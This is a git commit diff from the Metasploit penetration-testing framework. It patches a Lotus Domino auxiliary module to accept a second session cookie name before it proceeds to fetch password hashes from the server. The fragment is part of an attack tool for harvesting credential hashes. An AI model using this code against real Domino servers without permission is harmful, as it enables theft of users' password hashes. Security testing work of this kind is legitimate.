apply patch from Spencer McIntyre for newer Lotus versions with a different cookie name, thanks\!

git-svn-id: file:///home/svn/framework3/trunk@11812 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2011-02-23 21:47:52 +00:00
parent 2ba50b6663
commit aea8192c7f
1 changed files with 5 additions and 6 deletions

View File

@ -93,16 +93,15 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code == 302 )
if res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i)
cookie = "DomAuthSessId=#{$1}"
print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")
print_status("http://#{vhost}:#{rport} - Lotus Domino - Getting password hashs")
get_views(cookie,$uri)
elsif res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/LtpaToken=(.*);(.*)/i)
cookie = "LtpaToken=#{$1}"
else
print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized 302 response")
return :abort
end
print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")
print_status("http://#{vhost}:#{rport} - Lotus Domino - Getting password hashs")
get_views(cookie,$uri)
elsif (res and res.body.to_s =~ /names.nsf\?Login/)
print_error("http://#{vhost}:#{rport} - Lotus Domino - Authentication error: failed to login as '#{user}'")